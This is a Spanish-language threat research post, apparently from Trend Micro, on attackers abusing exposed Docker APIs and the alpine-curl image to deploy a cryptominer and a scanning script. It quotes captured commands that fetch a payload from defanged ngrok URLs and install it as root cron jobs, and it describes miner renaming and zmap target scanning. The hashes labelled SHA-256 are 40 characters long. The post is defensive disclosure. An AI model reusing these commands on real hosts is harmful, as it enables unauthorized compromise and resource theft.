Por Alfredo Oliveira (Investigador principal de amenazas)
A través del análisis de los contenedores de datos de los honeypots que hemos configurado para monitorear las amenazas, hemos descubierto actividades notables de mineros de criptomonedas no deseados o no autorizados que se implementan como contenedores fraudulentos utilizando una imagen contribuida por la comunidad en el Docker Hub. Se está abusando de la imagen como parte de un servicio malintencionado que entrega un software malicioso de minería de criptomonedas. Las herramientas de red se recuperan para realizar movimientos laterales en otros contenedores y otras aplicaciones expuestas.
Configuramos los honeypots de forma predeterminada, es decir, conformados de manera inmediata sin medidas de seguridad o software adoptado después de la instalación. Tenga en cuenta que Docker tiene las mejores prácticas o recomendaciones para evitar configuraciones erróneas. Los honeypots que capturaron las actividades que son del host de los contenedores diseñados para recibir ataques dirigidos a la plataforma y no a las aplicaciones.
Las actividades que descubrimos también son importantes porque no necesitan explotar vulnerabilidades y no dependen de ninguna versión de Docker. Identificar una imagen de contenedor mal configurada y, por lo tanto, expuesta es todo lo que podría tomar para que los atacantes infecten muchos hosts expuestos.
Cuando se expone, la API de Docker permite al usuario ejecutar una amplia gama de comandos. Estos incluyen la lista de los contenedores en ejecución; obtener registros de un contenedor específico; iniciar, detener o eliminar un contenedor; e incluso crear un nuevo contenedor con una imagen específica y opciones dadas.
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-1-1024×331.jpg” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”1024″ height=”331″]
Figura 1. Cómo se entregan las cargas útiles (izquierda) y visualización del entorno del atacante que permite que las imágenes se implementen de forma remota (derecha)
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-2-1024×558.jpg” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”1024″ height=”558″]
Figura 2. Distribución por país de las 3.762 API de Docker expuestas, según los resultados de búsqueda en Shodan (hasta el 12 de febrero de 2019)
Cadena de ataque y cargas útiles
Descubrimos estas actividades no solo monitoreando nuestros honeypots. Los datos recientes de Shodan (Figura 2) también revelaron que la cantidad de API´s de Docker expuestas aumentó desde la última vez que investigamos en un contenedor mal configurado que se usó como trampolín para implementar el malware Monero-mining. En octubre del año pasado, las API expuestas se enumeraron a solo 856.
Nuestra investigación adicional en los registros de los honeypots mostró que el uso de la imagen del contenedor también implica el abuso de ngrok, una herramienta utilizada para establecer conexiones seguras o retransmitir el tráfico desde los endpoints de acceso público a direcciones o recursos específicos (por ejemplo, un host local). Esto permite a los atacantes crear dinámicamente direcciones URL para cuando las cargas útiles se entregan a un host expuesto. A continuación se muestran ejemplos de código de los registros de honeypots que muestran cómo se abusa del servicio ngrok.
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”
Como se muestra arriba, los archivos descargados se recuperan de las URL que cambian constantemente. Las URL también tienen una vida útil corta, por lo que las cargas útiles no se pueden descargar una vez que han caducado.
Hay dos cargas útiles. La primera es por un minero de criptomonedas compilado por archivo (ELF) ejecutable y enlazable de Linux (detectado por Trend Micro como Coinminer.SH.MALXMR.ATNO) que se conecta a un grupo de minería. El segundo es un script de shell (TrojanSpy.SH.ZNETMAP.A) diseñado para recuperar ciertas herramientas de red, se utilizan para escanear rangos de red predefinidos y luego buscar nuevos objetivos.
Un dropper establece dos variables que se utilizarán más adelante para implementar la minería de criptomonedas. La variable HOST contiene la URL que aloja los archivos maliciosos, mientras que la variable RIP tiene el nombre del archivo (que es el hash del archivo) del cronómetro de criptomonedas que se implementará. La variable HOST cambia cada vez que se altera la variable del hash. La secuencia de comandos de implementación también intenta asegurarse de que no haya otro minero de criptomonedas ejecutándose en el host afectado.
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-3-1.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”445″ height=”57″]
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-3-2-1024×353.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″]
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-3-3-1024×99.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″]
Figura 3. Ejemplo de las variables en HOST y RIP para cuando se implementa el minero de criptomonedas (arriba), y un fragmento de código que muestra cómo el script asegura que no se está ejecutando ningún otro minero de criptomonedas (centro, abajo)
Antes de que se ejecute la minería de criptomonedas, se le cambia el nombre a nginx. Otras versiones de este script también cambian el nombre del minero a otros servicios válidos que se pueden encontrar en entornos Linux, esto se hace para evitar la detección cuando se enumeran los procesos en ejecución.
El script de mapeo también tiene características notables, utiliza el mismo servicio de URL para implementar las herramientas que necesita. Entre ellos se encuentra un binario de Linux llamado zmap, que se utiliza para escanear redes y obtener puertos abiertos. También descarga un binario diferente para interactuar con el servicio encontrado y obtener su banner para determinar más información sobre él (por ejemplo, su versión en ejecución).
La secuencia de comandos también redefine algunos conjuntos de rangos de red que deben analizarse. Esto varía dependiendo de la versión del script. Define los puertos específicos utilizados por los servicios a los que se dirige, en este caso, Docker, antes de iniciar el proceso de exploración.
Una vez que se encuentran los posibles objetivos, sus banners se obtienen automáticamente. El script también filtra los destinos para que coincidan con sus servicios, aplicaciones, componentes o plataformas de interés: Redis, Jenkins, Drupal, MODX, Kubernetes Master, versión 1.16 del cliente Docker y Apache CouchDB. Si un host escaneado coincide con alguno de ellos, se almacena en un archivo de texto, que los atacantes podrían usar para futuras exploraciones o compromisos. Los archivos de texto se cargan en el servidor de los atacantes a través de enlaces dinámicos, lo que significa que se utilizan diferentes URL para cada archivo de texto cargado, y así pueda ser difícil el acceso.
Como se muestra en los fragmentos del script en las Figuras 4 y 5, una imagen de Docker se ha utilizado como un vector para lanzar el ataque.
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-4-1.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”676″ height=”71″]
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-4-2.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”667″ height=”110″]
Figura 4. El minero de criptomonedas renombrado a servicios legítimos (arriba) y cómo se usa zmap para escanear redes (abajo)
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-5-1.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”770″ height=”44″]
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-5-2.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”945″ height=”139″]
Figura 5. El script pre definiendo los rangos de la red a escanear (arriba), y la definición de puertos específicos para buscar servicios de interés, incluido el Docker (abajo)
[image url=”/wp-content/uploads/2019/03/docker-cryptocurrency-miner-6-974×1024.png” raw=”true” alignment=”center” margin_left=”0″ margin_right=”0″ margin_top=”0″ margin_bottom=”0″ width=”974″ height=”1024″]
Figura 6. Captura de pantalla que muestra la imagen del contenedor “alpine-curl” con más de 10 millones de descargas
Se puede construir una imagen basada en Docker en Alpine Linux con curl, una herramienta en línea de comandos eficiente en el uso de recursos para la transferencia de archivos a través de varios protocolos instalados. Como se muestra en la Figura 6, el contenedor “curl” ya tiene 10 millones de descargas. La gran cantidad de descargas podría atribuirse al rizo de la imagen como punto de entrada, su última actualización fue hace más de seis meses y las otras imágenes en el mismo contenedor no tienen el mismo ritmo de descargas. En Docker, entrypoint es un conjunto de instrucciones utilizadas para configurar un contenedor para que este sea ejecutable. Si la configuración del punto de entrada de un contenedor está mal configurada (es decir, dejándola expuesta a Internet), se podría utilizar como un vector de ataque. Los piratas informáticos, por ejemplo, pueden usarlo para entregar sus cargas útiles una vez que encuentren un contenedor mal configurado o expuesto que se ejecute de forma impetuosa.
Es importante tener en cuenta que la imagen de Docker (alpine-curl) no es maliciosa por sí sola. Pero como se muestra arriba, se está abusando para llevar a cabo una funcionalidad maliciosa. Imágenes similares de Docker también podrían ser objeto de abuso para realizar actividades maliciosas. Hemos contactado y trabajado con Docker sobre este problema.
Recomendaciones
La mala configuración sigue siendo un desafío perennial para muchas organizaciones, particularmente aquellas que adoptan DevOps, que se enfoca en el desarrollo y la entrega rápida. El impacto se ve agravado por la necesidad de cumplir con las normas de auditoría, monitoreo y privacidad de los datos, y las fuertes multas que pueden imponer. La integración de la seguridad automatizada en el ciclo de vida del desarrollo no solo ayuda a discernir las brechas de seguridad que de otro modo podrían pasarse por alto. Sino que también ayuda a reducir las cargas de trabajo superfluas, como el desarrollo de muchas compilaciones de aplicaciones por cada mala configuración o vulnerabilidad identificada después de la implementación de una aplicación.
El incidente analizado en esta publicación destaca la necesidad de diseñar un sistema de seguridad, que incluya estas recomendaciones:
- Para los administradores y desarrolladores de sistemas, siempre verifique la configuración de la API y asegúrese de que esté configurado para recibir solicitudes solo de un host determinado o una red interna.
- Implemente el principio de privilegios mínimos: asegúrese de que las imágenes de los contenedores estén firmadas y autenticadas, restrinja el acceso a los componentes críticos (como el servicio daemon que ayuda a ejecutar los contenedores) y cifre las conexiones de red.
- Siga las mejores prácticas y habilite los mecanismos de seguridad, como las directrices propias de Docker y las funciones de seguridad integradas.
- Emplee el tiempo de ejecución automatizado y el escaneo de imágenes para obtener mayor visibilidad de los procesos del contenedor (por ejemplo, para determinar si ha sido manipulado o tiene vulnerabilidades). El control de la aplicación y el monitoreo de integridad ayudan a estar atento a las modificaciones anómalas en los servidores, archivos y áreas del sistema.
Trend Micro ayuda a los equipos de DevOps a construir de forma segura, enviar rápidamente y ejecutar en cualquier lugar. La solución Trend Micro Hybrid Cloud Security proporciona una seguridad potente, optimizada y automatizada dentro del sistema DevOps de la organización y ofrece múltiples técnicas de defensa contra amenazas XGen ™ para proteger las cargas de trabajo físicas, virtuales y en la nube en tiempo de ejecución. También agrega protección para los contenedores: Deep Security y Deep Security Smart Check, los cuales escanean las imágenes del contenedor de Docker en busca de malware y vulnerabilidades en cualquier intervalo en la línea de desarrollo para prevenir amenazas antes de que se implementen.
Indicadores de Compromiso (IoC):
Hashes relacionados (SHA-256):
- 1bce7432f6c430e3a077562b3c43021674d958a3 (Coinminer.SH.MALXMR.ATNO)
- 5bab7cbb68c74d581370c5e10d3e13c6e3ac93bd (TrojanSpy.SH.ZNETMAP.A)
Leave a Reply